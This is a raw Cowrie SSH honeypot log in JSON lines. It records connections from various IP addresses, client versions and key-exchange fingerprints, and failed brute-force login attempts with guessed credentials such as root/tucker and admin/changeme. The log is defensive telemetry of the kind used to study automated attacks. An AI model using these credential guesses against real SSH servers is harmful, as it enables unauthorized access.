{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":44760,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fd179d6c809","protocol":"ssh","message":"New connection: 170.106.188.200:44760 (159.203.135.109:22) [session: 3fd179d6c809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:04.256880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:04.261193Z","src_ip":"170.106.188.200","session":"3fd179d6c809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:04.328640Z","src_ip":"170.106.188.200","session":"3fd179d6c809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tucker","message":"login attempt [root/tucker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:04.633679Z","src_ip":"170.106.188.200","session":"3fd179d6c809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:05.704056Z","src_ip":"170.106.188.200","session":"3fd179d6c809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":41170,"dst_ip":"159.203.135.109","dst_port":22,"session":"836a8b2bf487","protocol":"ssh","message":"New connection: 194.59.206.2:41170 (159.203.135.109:22) [session: 836a8b2bf487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:18.943959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:18.948412Z","src_ip":"194.59.206.2","session":"836a8b2bf487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:19.048886Z","src_ip":"194.59.206.2","session":"836a8b2bf487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:19.146176Z","src_ip":"194.59.206.2","session":"836a8b2bf487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":58702,"dst_ip":"159.203.135.109","dst_port":22,"session":"a44bca4f5f6b","protocol":"ssh","message":"New connection: 43.173.125.185:58702 (159.203.135.109:22) [session: a44bca4f5f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:30.878417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:30.882916Z","src_ip":"43.173.125.185","session":"a44bca4f5f6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:30.951683Z","src_ip":"43.173.125.185","session":"a44bca4f5f6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Zx","message":"login attempt [root/123456Zx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:31.256933Z","src_ip":"43.173.125.185","session":"a44bca4f5f6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:32.329162Z","src_ip":"43.173.125.185","session":"a44bca4f5f6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":56970,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f355ac8f67","protocol":"ssh","message":"New connection: 77.94.47.83:56970 (10.17.0.5:22) [session: 68f355ac8f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:35.022712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:35.027495Z","src_ip":"77.94.47.83","session":"68f355ac8f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:35.152349Z","src_ip":"77.94.47.83","session":"68f355ac8f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100500","message":"login attempt [root/100500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:35.525945Z","src_ip":"77.94.47.83","session":"68f355ac8f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:36.652558Z","src_ip":"77.94.47.83","session":"68f355ac8f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":57094,"dst_ip":"159.203.135.109","dst_port":22,"session":"468332e3f519","protocol":"ssh","message":"New connection: 103.91.246.101:57094 (159.203.135.109:22) [session: 468332e3f519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:58.153994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:58.158345Z","src_ip":"103.91.246.101","session":"468332e3f519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:58.390204Z","src_ip":"103.91.246.101","session":"468332e3f519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tucker","message":"login attempt [root/tucker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:22:59.356940Z","src_ip":"103.91.246.101","session":"468332e3f519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:00.595248Z","src_ip":"103.91.246.101","session":"468332e3f519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":51474,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa542b32532","protocol":"ssh","message":"New connection: 147.45.211.215:51474 (10.17.0.5:22) [session: 4fa542b32532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:01.347478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:01.351835Z","src_ip":"147.45.211.215","session":"4fa542b32532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:01.523334Z","src_ip":"147.45.211.215","session":"4fa542b32532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rdfhnbhf","message":"login attempt [root/rdfhnbhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:02.039997Z","src_ip":"147.45.211.215","session":"4fa542b32532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:03.213826Z","src_ip":"147.45.211.215","session":"4fa542b32532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":59306,"dst_ip":"159.203.135.109","dst_port":22,"session":"c99c9358d384","protocol":"ssh","message":"New connection: 43.173.125.185:59306 (159.203.135.109:22) [session: c99c9358d384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:07.323426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:07.327775Z","src_ip":"43.173.125.185","session":"c99c9358d384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:07.396545Z","src_ip":"43.173.125.185","session":"c99c9358d384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"changeme","message":"login attempt [admin/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:07.706445Z","src_ip":"43.173.125.185","session":"c99c9358d384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:08.778634Z","src_ip":"43.173.125.185","session":"c99c9358d384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":57246,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ec9cd1665f7","protocol":"ssh","message":"New connection: 171.244.141.86:57246 (159.203.135.109:22) [session: 4ec9cd1665f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:11.325259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:11.329082Z","src_ip":"171.244.141.86","session":"4ec9cd1665f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:11.573006Z","src_ip":"171.244.141.86","session":"4ec9cd1665f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2056","message":"login attempt [root/2056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:12.577280Z","src_ip":"171.244.141.86","session":"4ec9cd1665f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:13.824110Z","src_ip":"171.244.141.86","session":"4ec9cd1665f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":44870,"dst_ip":"10.17.0.5","dst_port":22,"session":"6928c99c4104","protocol":"ssh","message":"New connection: 62.133.62.83:44870 (10.17.0.5:22) [session: 6928c99c4104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:14.843799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:14.849224Z","src_ip":"62.133.62.83","session":"6928c99c4104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-s